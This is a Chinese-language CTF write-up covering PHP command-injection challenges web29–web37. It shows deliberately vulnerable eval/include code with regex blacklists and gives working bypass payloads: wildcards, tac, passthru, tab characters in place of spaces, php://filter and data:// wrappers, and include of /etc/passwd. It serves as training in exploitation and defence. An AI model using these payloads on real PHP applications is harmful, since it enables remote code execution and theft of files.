web29
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
分析源码得知过滤了字符串flag和i
system("ls")
命令执行成功,那就是要读取flag文件
因为flag
是被过滤的,但是可以利用*代替完整的文件名去读取文件
然后cat
在这题是读不出flag的,因为flag存储在一个php
文件中,然后cat
是将文件内容按行顺序输出的,如果要用cat
去读的话,是按照<?php
格式去执行,但是因为文件中没有echo
输出,所以就无法读出flag,tac
是将文件内容按行倒序输出的,就避开了<?php
,就可以正常的输出flag了
web30
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
因为system
函数被过滤了,只能考虑其他的函数,其他的函数还有exec、passthru、反撇号和shell_exec
其中只有passthru
和system
会有输出到浏览器不需要echo或return来查看结果
读flag和web29一样
web31
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
这里涉及到空格绕过,可以用%09
绕过,system
函数也是被过滤的,这里可以直接用echo
命令输出查看的内容
web32
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
这题过滤了system、shell、echo等函数
php中还有一些函数是不用括号的:
1 2 3 4 5 6 7 8 9
| <?php echo 111; print 1111; die; include "/etc/passwd"; require "/etc/passwd"; include_once "/etc/passwd"; require_once "/etc/passwd"; ?>
|
其中include "/etc/passwd"
是可以利用的
源码里面也没有对$
进行过滤,用$_POST[x]
或者$_GET[x]
,然后用php伪协议将include包含的文件显示出来
payload:?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php
base64解码:
web33
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
方法同上,只不过是这题过滤了双引号,所以把payload改成:
?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
即可
web34-36
用web33的payload即可,原理一样
web37
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }
|
代码中将c进行了包含,再输出flag
那么就利用伪协议去读flag
payload:c=data://text/plain,<?php system('tac fla*');?>